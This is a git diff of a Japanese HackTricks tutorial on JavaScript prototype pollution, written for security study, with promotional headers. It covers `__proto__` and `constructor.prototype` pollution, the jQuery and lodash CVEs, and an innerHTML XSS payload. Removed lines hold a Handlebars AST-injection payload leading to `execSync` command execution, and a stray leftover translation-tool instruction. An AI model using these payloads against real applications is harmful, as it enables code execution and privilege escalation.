<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- **サイバーセキュリティ企業で働いていますか？** **HackTricksで会社を宣伝**したいですか？または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
|
||||
</details>
|
||||
**素晴らしい投稿をチェックしてください** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
|
|
|||
|
|
@ -2,35 +2,35 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください！</strong></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
- [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)。
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
## JavaScriptのオブジェクト <a href="#053a" id="053a"></a>
|
||||
|
||||
まず、JavaScriptの`Object`を理解する必要があります。オブジェクトは単にキーと値のペアの集合で、そのオブジェクトのプロパティとよく呼ばれます。例えば：
|
||||
まず最初に、JavaScriptにおける`Object`を理解する必要があります。オブジェクトは単純に、そのオブジェクトのプロパティと呼ばれるキーと値のペアのコレクションです。例えば：
|
||||
|
||||
 (1).png>)
|
||||
|
||||
JavaScriptでは、`Object`は基本的なオブジェクトであり、新しく作成されたオブジェクトのテンプレートです。`null`を`Object.create`に渡すことで空のオブジェクトを作成することができます。しかし、新しく作成されたオブジェクトは渡されたパラメータに対応する型を持ち、すべての基本的なプロパティを継承します。
|
||||
JavaScriptでは、`Object`は基本オブジェクトであり、新しく作成されたすべてのオブジェクトのテンプレートです。`Object.create`に`null`を渡すことで空のオブジェクトを作成することが可能です。ただし、新しく作成されたオブジェクトは、渡されたパラメータに対応するタイプを持ち、すべての基本プロパティを継承します。
|
||||
```javascript
|
||||
console.log(Object.create(null)); // prints an empty object
|
||||
```
|
||||
.png>)
|
||||
|
||||
以前、JavaScriptのオブジェクトはキーと値の集合であることを学びました。そのため、`null` オブジェクトは単なる空の辞書である `{}` と理解するのは理にかなっています。
|
||||
以前に、JavaScriptのオブジェクトはキーと値のコレクションであることを学びました。そのため、`null`オブジェクトは単なる空の辞書`{}`であることは理にかなっています。
|
||||
|
||||
## JavaScriptの関数/クラス <a href="#55dd" id="55dd"></a>
|
||||
## JavaScriptにおける関数/クラス <a href="#55dd" id="55dd"></a>
|
||||
|
||||
JavaScriptでは、クラスと関数の概念はかなり密接に関連しています（関数自体がクラスのコンストラクタとして機能し、実際にはJavaScriptには「クラス」という概念がありません）。次の例を見てみましょう：
|
||||
JavaScriptでは、クラスと関数の概念は非常に関連しています（関数自体がクラスのコンストラクタとして機能し、実際の性質にはJavaScriptにおける「クラス」という概念はありません）。次の例を見てみましょう：
|
||||
```javascript
|
||||
function person(fullName, age) {
|
||||
this.age = age;
|
||||
|
|
@ -40,21 +40,19 @@ return this.fullName + " has age: " + this.age;
|
|||
}
|
||||
}
|
||||
```
|
||||
```markdown
|
||||
.png>)
|
||||
```
|
||||
```javascript
|
||||
var person1 = new person("Satoshi", 70);
|
||||
```
|
||||
.png>)
|
||||
|
||||
## JavaScriptのプロトタイプ <a href="#3843" id="3843"></a>
|
||||
## JavaScriptにおけるプロトタイプ <a href="#3843" id="3843"></a>
|
||||
|
||||
コード実行時にプロトタイプ属性を変更・修正・削除できる点に注意が必要です。例えば、クラスに関数を動的に追加することができます：
|
||||
重要な点の1つは、コードを実行する際にプロトタイプ属性を変更/修正/削除できることです。たとえば、クラスに関数を動的に追加できます：
|
||||
|
||||
.png>)
|
||||
|
||||
クラスの関数も変更できます（以下のケースのように`toString`や`valueOf`など）：
|
||||
クラスの関数は変更されることもあります（`toString`や`valueOf`などの場合）：
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -62,29 +60,29 @@ var person1 = new person("Satoshi", 70);
|
|||
|
||||
## 継承
|
||||
|
||||
プロトタイプベースのプログラムでは、オブジェクトはクラスからプロパティ/メソッドを継承します。クラスは、別のクラスのインスタンスにプロパティ/メソッドを追加するか、空のオブジェクトに追加することで派生します。
|
||||
プロトタイプベースのプログラムでは、オブジェクトはクラスからプロパティ/メソッドを継承します。クラスは、他のクラスのインスタンスにプロパティ/メソッドを追加することによって派生されるか、空のオブジェクトに追加することによって派生されます。
|
||||
|
||||
オブジェクトにプロパティを追加すると、そのオブジェクトがプロトタイプとして使用されているオブジェクト群（myPersonObjのような）も新しいプロパティを獲得しますが、特に呼び出されない限り、そのプロパティは表示されません。
|
||||
注意すべきは、オブジェクトにプロパティを追加すると（myPersonObjのようにオブジェクトが一連のオブジェクトのプロトタイプとして使用される場合）、そのプロトタイプとして使用されるオブジェクトも新しいプロパティを取得しますが、そのプロパティは明示的に呼び出されない限り表示されません。
|
||||
|
||||
.png>)
|
||||
|
||||
## \_\_proto\_\_ 汚染 <a href="#0d0a" id="0d0a"></a>
|
||||
## \_\_proto\_\_の汚染 <a href="#0d0a" id="0d0a"></a>
|
||||
|
||||
**JavaScript内のすべてのオブジェクトは単なるキーと値のペアの集合であり**、**すべてのオブジェクトはJavaScriptのObject型から継承される**ということは既に学んだはずです。これは、Object型を汚染できれば、**環境内のすべてのJavaScriptオブジェクトが汚染される**ということを意味します！
|
||||
すでに学んでいるはずですが、**JavaScriptのすべてのオブジェクトは単にキーと値のコレクション**であり、**JavaScriptのすべてのオブジェクトはObject型から継承**していることです。これは、Object型を汚染できれば、**環境内のすべてのJavaScriptオブジェクトが汚染される**ということを意味します！
|
||||
|
||||
これは非常に簡単で、任意のJavaScriptオブジェクトからいくつかのプロパティ（キーと値のペア）を変更できるようになるだけで良いのです。なぜなら、各オブジェクトはObjectから継承しているため、Objectのスキーマにアクセスできるからです。
|
||||
これは非常に簡単で、任意のJavaScriptオブジェクトのいくつかのプロパティ（キーと値のペア）を変更できればよいだけです。なぜなら、各オブジェクトがObjectを継承しているため、各オブジェクトがObjectスキームにアクセスできるからです。
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
```
|
||||
前の例から、以下の方法を使用してObjectの構造にアクセスできます：
|
||||
前の例から、次の方法を使用してObjectの構造にアクセスすることが可能です：
|
||||
```javascript
|
||||
person1.__proto__.__proto__
|
||||
person.__proto__.__proto__
|
||||
```
|
||||
したがって、以前に述べたように、Objectスキーマにプロパティが追加されると、すべてのJavaScriptオブジェクトが新しいプロパティにアクセスできるようになります：
|
||||
したがって、もし今プロパティがObjectスキームに追加された場合、すべてのJavaScriptオブジェクトが新しいプロパティにアクセスできるようになります:
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
|
|
@ -97,15 +95,13 @@ person1.printHello() //This now works and prints hello
|
|||
person1.__proto__.__proto__.globalconstant = true
|
||||
person1.globalconstant //This now works and is "true"
|
||||
```
|
||||
```markdown
|
||||
これで、各JSオブジェクトには新しいプロパティが含まれるようになります：関数 `printHello` と新しい定数 `globalconstant`
|
||||
それぞれのJSオブジェクトには、新しいプロパティである`printHello`関数と新しい定数`globalconstant`が含まれるようになりました。
|
||||
|
||||
## プロトタイプ汚染
|
||||
|
||||
この技術は、JSオブジェクトのスキーマを汚染することができないため、前述の技術ほど効果的ではありません。しかし、**キーワード `__proto__` が禁止されている場合には、この技術が役立つことがあります**。
|
||||
このテクニックは、JSオブジェクトのスキームを汚染することはできないため、前のテクニックほど効果的ではありません。ただし、**キーワード`__proto__`が禁止されている場合には、このテクニックが役立つ**ことがあります。
|
||||
|
||||
関数のプロパティを変更できる場合、関数の `prototype` プロパティを変更でき、**ここに追加された新しいプロパティは、その関数から作成された各オブジェクトに継承されます：**
|
||||
```
|
||||
関数のプロパティを変更できる場合、関数の`prototype`プロパティを変更でき、**ここに追加した各新しいプロパティは、その関数から作成された各オブジェクトに継承されます:**
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
|
|
@ -122,30 +118,28 @@ person1.newConstant //This now works and is "true"
|
|||
person1.constructor.prototype.sayHello = function(){console.log("Hello");}
|
||||
person1.constructor.prototype.newConstant = true
|
||||
```
|
||||
この場合、**`person` クラスから作成されたオブジェクトのみ**が影響を受けますが、それぞれが**`sayHello` と `newConstant` プロパティを継承**するようになります。
|
||||
この場合、`person` クラスから作成された**オブジェクトのみが影響を受けます**が、それぞれが今では `sayHello` と `newConstant` のプロパティを**継承**します。
|
||||
|
||||
**プロトタイプ汚染を悪用して、すべての JS オブジェクトを汚染する方法は2つあります。**
|
||||
**すべてのJSオブジェクトを汚染するためにプロトタイプ汚染を悪用する方法は2つあります。**
|
||||
|
||||
一つ目は、**Object** のプロトタイププロパティを汚染することです（前述の通り、すべての JS オブジェクトはこれを継承しています）：
|
||||
最初の方法は、**Object** のプロパティプロトタイプを汚染することです（前述のように、すべてのJSオブジェクトはこれから継承されます）:
|
||||
```javascript
|
||||
Object.prototype.sayBye = function(){console.log("bye!")}
|
||||
```
|
||||
```markdown
|
||||
もしそれを実行できれば、各JSオブジェクトは関数 `sayBye` を実行することができるようになります。
|
||||
もしそれに成功すれば、各JSオブジェクトは`sayBye`関数を実行できるようになります。
|
||||
|
||||
もう一つの方法は、以下の例のように辞書変数のコンストラクタのプロトタイプを汚染することです：
|
||||
```
|
||||
別の方法は、次の例のように、辞書変数のコンストラクタのプロトタイプを汚染することです：
|
||||
```javascript
|
||||
something = {"a": "b"}
|
||||
something.constructor.prototype.sayHey = function(){console.log("Hey!")}
|
||||
```
|
||||
実行後、**各JSオブジェクトは`sayHey`関数を実行できるようになります**。
|
||||
実行した後、**各JSオブジェクトは`sayHey`関数を実行できる**ようになります。
|
||||
|
||||
## 他のオブジェクトを汚染する
|
||||
|
||||
### クラスから`Object.prototype`へ
|
||||
### クラスからObject.prototypeへ
|
||||
|
||||
特定のオブジェクトを**汚染できる**シナリオで、**`Object.prototype`に到達する**必要がある場合、次のようなコードで探すことができます：
|
||||
特定のオブジェクトを**汚染**し、**`Object.prototype`に到達する必要がある**シナリオでは、次のようなコードでそれを検索できます:
|
||||
```javascript
|
||||
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
|
||||
|
||||
|
|
@ -168,7 +162,7 @@ console.log(key1 + "." + key2)
|
|||
```
|
||||
### 配列要素の汚染
|
||||
|
||||
JSでオブジェクトの属性を汚染できるように、配列を汚染するアクセス権がある場合、**インデックス**でアクセス可能な配列の**値を汚染**することもできることに注意してください（値を上書きすることはできませんので、何らかの方法で使用されているが書き込まれていないインデックスを汚染する必要があります）。
|
||||
JSのオブジェクトの属性を汚染できるように、配列を汚染する権限がある場合、**インデックスでアクセス可能な配列の値も汚染できます**（値を上書きすることはできないため、書き込まれていないが何らかの方法で使用されているインデックスを汚染する必要があります）。
|
||||
```javascript
|
||||
c = [1,2]
|
||||
a = []
|
||||
|
|
@ -180,9 +174,7 @@ c[1] // 2 -- not
|
|||
```
|
||||
### Html要素の汚染
|
||||
|
||||
JSを介してHTML要素を生成する際、**`innerHTML`** 属性を**上書き**して、**任意のHTMLコード**を書き込むことが可能です。[このアイデアと例はこのライトアップから](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
JSを使用してHTML要素を生成する際、**`innerHTML`**属性を**上書き**して**任意のHTMLコード**を書き込むことが可能です。[この解説と例はこちらから](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/)。
|
||||
```javascript
|
||||
// Create element
|
||||
devSettings["root"] = document.createElement('main')
|
||||
|
|
@ -199,210 +191,92 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
|
|||
|
||||
### 基本的な例
|
||||
|
||||
プロトタイプ汚染はどこで起こるのでしょうか？それは、アプリケーションにバグがあり、`Object.prototype`のプロパティを上書きできるようになるときに発生します。通常のオブジェクトはすべてそのプロパティを`Object.prototype`から継承しているため、アプリケーションの挙動を変更することができます。最も一般的に示される例は次のとおりです：
|
||||
プロトタイプ汚染はどこにあるのでしょうか？それは、`Object.prototype`のプロパティを上書きできるアプリケーションのバグが発生したときに起こります。典型的なオブジェクトは、そのプロパティを`Object.prototype`から継承するため、アプリケーションの動作を変更できます。最も一般的に示される例は次のとおりです：
|
||||
```javascript
|
||||
if (user.isAdmin) { // do something important!}
|
||||
```
|
||||
想像してみてください。プロトタイプ汚染があり、`Object.prototype.isAdmin = true`を設定できるとします。その場合、アプリケーションが明示的に値を割り当てていない限り、`user.isAdmin`は常にtrueです！
|
||||
想像してみてください。`Object.prototype.isAdmin = true`を設定できるプロトタイプ汚染が発生した場合、アプリケーションが明示的に値を割り当てていない限り、`user.isAdmin`は常にtrueになります！
|
||||
|
||||
|
||||
|
||||
例えば、`obj[a][b] = value`です。攻撃者が`a`と`value`の値を制御できる場合、`a`の値を`__proto__`に調整するだけで良いです（javascriptでは、`obj["__proto__"]`と`obj.__proto__`は完全に同等です）。すると、アプリケーション内のすべての既存オブジェクトのプロパティ`b`が`value`に割り当てられます。
|
||||
例えば、`obj[a][b] = value`。攻撃者が`a`と`value`の値を制御できる場合、`a`の値を`__proto__`に調整するだけで、アプリケーション内のすべての既存オブジェクトのプロパティ`b`が`value`に割り当てられます。
|
||||
|
||||
しかし、攻撃は上記のように単純ではありません。[論文](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)によると、次の3つの条件のいずれかが満たされた場合にのみ攻撃が可能です：
|
||||
ただし、攻撃は上記のように単純ではありません。[論文](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\_prototype\_pollution\_attack\_in\_NodeJS.pdf)によると、次の3つの条件のいずれかが満たされた場合にのみ攻撃が可能です：
|
||||
|
||||
* 再帰的なマージを実行する
|
||||
* パスによるプロパティの定義
|
||||
* 再帰マージを実行する
|
||||
* パスによるプロパティ定義
|
||||
* オブジェクトのクローン
|
||||
|
||||
### 関数のオーバーライド
|
||||
### 関数の上書き
|
||||
```python
|
||||
customer.__proto__.toString = ()=>{alert("polluted")}
|
||||
```
|
||||
### Proto Pollution から RCE へ
|
||||
### Proto Pollution to RCE
|
||||
|
||||
{% content-ref url="prototype-pollution-to-rce.md" %}
|
||||
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## クライアントサイドの prototype pollution から XSS へ
|
||||
## クライアントサイドのプロトタイプ汚染からXSSへ
|
||||
|
||||
{% content-ref url="client-side-prototype-pollution.md" %}
|
||||
[client-side-prototype-pollution.md](client-side-prototype-pollution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### CVE-2019–11358: jQuery $ .extend を通じた Prototype pollution 攻撃
|
||||
### CVE-2019–11358: jQuery $ .extendを介したプロトタイプ汚染攻撃
|
||||
|
||||
$ .extend は、誤って扱うと、アプリ内のオブジェクトの `prototype`（オブジェクトのテンプレート）のプロパティを変更することができます。この属性はその後、すべてのオブジェクトに表示されます。注意すべきは、$ .extend の「深い」バージョン（つまり g）のみが影響を受けるということです。
|
||||
$ .extendは、誤って処理されると、オブジェクト`prototype`（アプリ内のオブジェクトのテンプレート）のプロパティを変更できます。この属性はその後、すべてのオブジェクトに表示されます。注意すべきは、$ .extenedの「深い」バージョン（つまりg）のみが影響を受けるということです。
|
||||
|
||||
プログラマーは、この関数を使用してオブジェクトを複製したり、デフォルトオブジェクトから新しいプロパティを埋めたりすることがよくあります。例えば：
|
||||
プログラマーは、この関数をオブジェクトを複製したり、デフォルトオブジェクトから新しいプロパティを埋めるためによく使用します。例：
|
||||
|
||||
（`myObject` がユーザーからの入力フィールドであり、DB にシリアライズされると想像できます）
|
||||
`myObject`がユーザーからの入力フィールドであり、DBにシリアル化されると想像できます）
|
||||
|
||||
このコードでは、実行時に `isAdmin` 属性を新しく作成されたオブジェクトに割り当てるとよく考えられます。しかし実際には、`{}` に直接割り当てられ、その後 `{}.isAdmin` は `true` になります。このコードの後に、次のようなチェックを行うと：
|
||||
このコードでは、実行時に新しく作成されたオブジェクトに属性`isAdmin`が割り当てられると考えがちです。しかし、実際には、それは直接`{}`に割り当てられ、その後`{}.isAdmin`は`true`になります。このコードの後に、次のチェックを実行するとします：
|
||||
```javascript
|
||||
If (user.isAdmin === true) {
|
||||
// do something for admin
|
||||
}
|
||||
```
|
||||
```markdown
|
||||
ユーザーがまだ存在していない場合（`undefined`）、プロパティ`isAdmin`はその親オブジェクトで検索されます。これは、上記で`true`の値を持つ`isAdmin`が追加されたObjectです。
|
||||
もしユーザーがまだ存在していない場合（ `undefined` ）、`isAdmin`プロパティは、その親オブジェクト内で検索されます。この親オブジェクトには、上記で値が`true`に設定された`isAdmin`が追加されています。
|
||||
|
||||
JQuery 3.3.1で実行された別の例：
|
||||
```
|
||||
JQuery 3.3.1で実行した場合の別の例：
|
||||
```javascript
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
|
||||
console.log({}.devMode); // true
|
||||
```
|
||||
これらのエラーは多くのJavascriptプロジェクト、特にNodeJSプロジェクトに影響を与える可能性があります。最も実用的な例は、2018年12月にMongoDBを操作するのに役立つJSライブラリであるMongooseでのエラーです。
|
||||
これらのエラーは、特にNodeJSプロジェクトに多大な影響を与える可能性があります。最も実用的な例は、2018年12月にMongooseで発生したエラーです。
|
||||
|
||||
### CVE-2018–3721、CVE-2019–10744: lodashを通じたプロトタイプ汚染攻撃
|
||||
### CVE-2018–3721、CVE-2019–10744: lodashを介したプロトタイプ汚染攻撃
|
||||
|
||||
[Lodash](https://www.npmjs.com/package/lodash)もまた、週に1900万回以上ダウンロードされるなど、多くの異なる機能を提供し、コードをより便利に、よりきれいに書くのに役立つよく知られたライブラリです。そして、JQueryと同じ問題を抱えていました。
|
||||
[Lodash](https://www.npmjs.com/package/lodash)は、19ミリオン以上の週間ダウンロード数を誇り、コードをより便利かつ整然と書くのに役立つ多くの異なる機能を提供するよく知られたライブラリです。そして、JQueryと同じ問題が発生しました。
|
||||
|
||||
**CVE-2018–3721**
|
||||
|
||||
**CVE-2019–10744**
|
||||
|
||||
このバグはLodashのすべてのバージョンに影響を与え、バージョン4.17.11で修正されました。
|
||||
このバグは、すべてのバージョンのLodashに影響を与えますが、バージョン4.17.11で修正されています。
|
||||
|
||||
### CVEを使用した別のチュートリアル
|
||||
### 他のCVEを含むチュートリアル
|
||||
|
||||
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
||||
|
||||
## ASTプロトタイプ汚染
|
||||
### NodeJSにおけるASTプロトタイプ汚染
|
||||
|
||||
NodeJSでは、ASTはテンプレートエンジンやTypeScriptなど、JSで本当に頻繁に使用されます。\
|
||||
テンプレートエンジンの構造は上記の通りです。
|
||||
NodeJSは、テンプレートエンジンやTypeScriptなどの機能においてJavaScriptの抽象構文木（AST）を広範に利用しています。このセクションでは、テンプレートエンジンであるHandlebarsとPugに関連するプロトタイプ汚染に関する脆弱性について探ります。
|
||||
|
||||
|
||||
#### Handlebarsの脆弱性分析
|
||||
|
||||
### Handlebars
|
||||
Handlebarsテンプレートエンジンは、プロトタイプ汚染のために悪用される可能性があります。この脆弱性は、`javascript-compiler.js`ファイル内の`appendContent`および`pushSource`関数に主にあります。ここで、`appendContent`は`pendingContent`を連結し、`pushSource`はソースをプッシュした後に`pendingContent`を`undefined`に設定します。
|
||||
|
||||
情報は[https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)から取得しました。
|
||||
##### 悪用プロセス
|
||||
|
||||
`Object.prototype.pendingContent`に任意の文字列を挿入して、攻撃の可能性を判断できます。\
|
||||
これにより、ブラックボックス環境でプロトタイプ汚染が存在する場合、サーバーがhandlebarsエンジンを使用していることを確認できます。
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js -->
|
||||
悪用は、Handlebarsによって生成されたASTを操作することを含みます。プロセスは次のとおりです：
|
||||
|
||||
...
|
||||
appendContent: function appendContent(content) {
|
||||
if (this.pendingContent) {
|
||||
content = this.pendingContent + content;
|
||||
} else {
|
||||
this.pendingLocation = this.source.currentLocation;
|
||||
}
|
||||
1. **パーサーの操作**: パーサーは、`NumberLiteral`ノードを介して値を数値に強制します。ただし、これはプロトタイプ汚染によってバイパスされ、非数値文字列の挿入が可能になります。
|
||||
2. **コンパイラの処理**: コンパイラはASTオブジェクトまたはテンプレート文字列のいずれかを受け入れます。`input.type`が`Program`である場合、入力は事前に解析されたものと見なされ、悪用の可能性があります。
|
||||
3. **コードインジェクション**: `Object.prototype`を操作することで、任意のコードをテンプレート関数に注入し、潜在的なリモートコード実行を引き起こすことができます。
|
||||
|
||||
this.pendingContent = content;
|
||||
},
|
||||
pushSource: function pushSource(source) {
|
||||
if (this.pendingContent) {
|
||||
this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));
|
||||
this.pendingContent = undefined;
|
||||
}
|
||||
|
||||
if (source) {
|
||||
this.source.push(source);
|
||||
}
|
||||
}
|
||||
...
|
||||
```
|
||||
以下は、ハッキング技術についてのハッキング書籍の内容です。ファイル `pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md` から関連する英語テキストを日本語に翻訳し、まったく同じマークダウンおよびhtml構文を保持して翻訳を返してください。コード、ハッキング技術名、ハッキング用語、クラウド/SaaSプラットフォーム名（Workspace、aws、gcpなど）、単語 'leak'、ペネトレーションテスト、およびマークダウンタグのようなものは翻訳しないでください。また、翻訳とマークダウン構文以外の余分なものは追加しないでください。
|
||||
|
||||
---
|
||||
|
||||
これは `javascript-compiler.js` の `appendContent` 関数によって行われます。
|
||||
`appendContent` はこれです。`pendingContent` が存在する場合、コンテンツに追加して返します。
|
||||
|
||||
`pushSource` は `pendingContent` を `undefined` にすることで、文字列が複数回挿入されるのを防ぎます。
|
||||
|
||||
**エクスプロイト**
|
||||
|
||||
|
||||
|
||||
Handlebarsは上のグラフに示されているように動作します。
|
||||
|
||||
レキサーとパーサーがASTを生成した後、`compiler.js` に渡されます。
|
||||
コンパイラが生成したテンプレート関数をいくつかの引数で実行することができ、"Hello posix"（msgがposixの場合）のような文字列を返します。
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js -->
|
||||
|
||||
case 36:
|
||||
this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
|
||||
break;
|
||||
```
|
||||
```markdown
|
||||
handlebarsのパーサーは、NumberLiteral型のノードの値を常にNumberコンストラクタを通じて数値にするよう強制します。しかし、プロトタイプ汚染を使用して、ここに非数値の文字列を挿入することができます。
|
||||
```
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/base.js -->
|
||||
|
||||
function parseWithoutProcessing(input, options) {
|
||||
// Just return if an already-compiled AST was passed in.
|
||||
if (input.type === 'Program') {
|
||||
return input;
|
||||
}
|
||||
|
||||
_parser2['default'].yy = yy;
|
||||
|
||||
// Altering the shared object here, but this is ok as parser is a sync operation
|
||||
yy.locInfo = function (locInfo) {
|
||||
return new yy.SourceLocation(options && options.srcName, locInfo);
|
||||
};
|
||||
|
||||
var ast = _parser2['default'].parse(input);
|
||||
|
||||
return ast;
|
||||
}
|
||||
|
||||
function parse(input, options) {
|
||||
var ast = parseWithoutProcessing(input, options);
|
||||
var strip = new _whitespaceControl2['default'](options);
|
||||
|
||||
return strip.accept(ast);
|
||||
}
|
||||
```
|
||||
まず、compile関数を見てください。これはASTオブジェクトとテンプレート文字列の2つの入力方法をサポートしています。
|
||||
|
||||
input.typeが`Program`である場合、入力値は実際には文字列です。\
|
||||
Parserは、これが既にparser.jsによって解析されたASTであると考え、何の処理もせずにコンパイラに送信します。
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js -->
|
||||
|
||||
...
|
||||
accept: function accept(node) {
|
||||
/* istanbul ignore next: Sanity code */
|
||||
if (!this[node.type]) {
|
||||
throw new _exception2['default']('Unknown type: ' + node.type, node);
|
||||
}
|
||||
|
||||
this.sourceNode.unshift(node);
|
||||
var ret = this[node.type](node);
|
||||
this.sourceNode.shift();
|
||||
return ret;
|
||||
},
|
||||
Program: function Program(program) {
|
||||
console.log((new Error).stack)
|
||||
this.options.blockParams.unshift(program.blockParams);
|
||||
|
||||
var body = program.body,
|
||||
bodyLength = body.length;
|
||||
for (var i = 0; i < bodyLength; i++) {
|
||||
this.accept(body[i]);
|
||||
}
|
||||
|
||||
this.options.blockParams.shift();
|
||||
|
||||
this.isSimple = bodyLength === 1;
|
||||
this.blockParams = program.blockParams ? program.blockParams.length : 0;
|
||||
|
||||
return this;
|
||||
}
|
||||
```
|
||||
コンパイラはASTオブジェクト（実際には文字列）を`accept`メソッドに送ります。
|
||||
そして、`accept`はコンパイラの`this[node.type]`を呼び出します。
|
||||
その後、ASTのbody属性を取り、関数の構築に使用します。
|
||||
Handlebarsの脆弱性悪用の例：
|
||||
```javascript
|
||||
const Handlebars = require('handlebars');
|
||||
|
||||
|
|
@ -420,40 +294,20 @@ Object.prototype.body = [{
|
|||
}
|
||||
}];
|
||||
|
||||
|
||||
const source = `Hello {{ msg }}`;
|
||||
const template = Handlebars.precompile(source);
|
||||
|
||||
console.log(eval('(' + template + ')')['main'].toString());
|
||||
|
||||
/*
|
||||
function (container, depth0, helpers, partials, data) {
|
||||
var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) {
|
||||
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
|
||||
return parent[propertyName];
|
||||
}
|
||||
return undefined
|
||||
};
|
||||
|
||||
return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), {
|
||||
"name": "undefined",
|
||||
"hash": {},
|
||||
"data": data,
|
||||
"loc": {
|
||||
"start": 0,
|
||||
"end": 0
|
||||
}
|
||||
})) != null ? stack1 : "");
|
||||
}
|
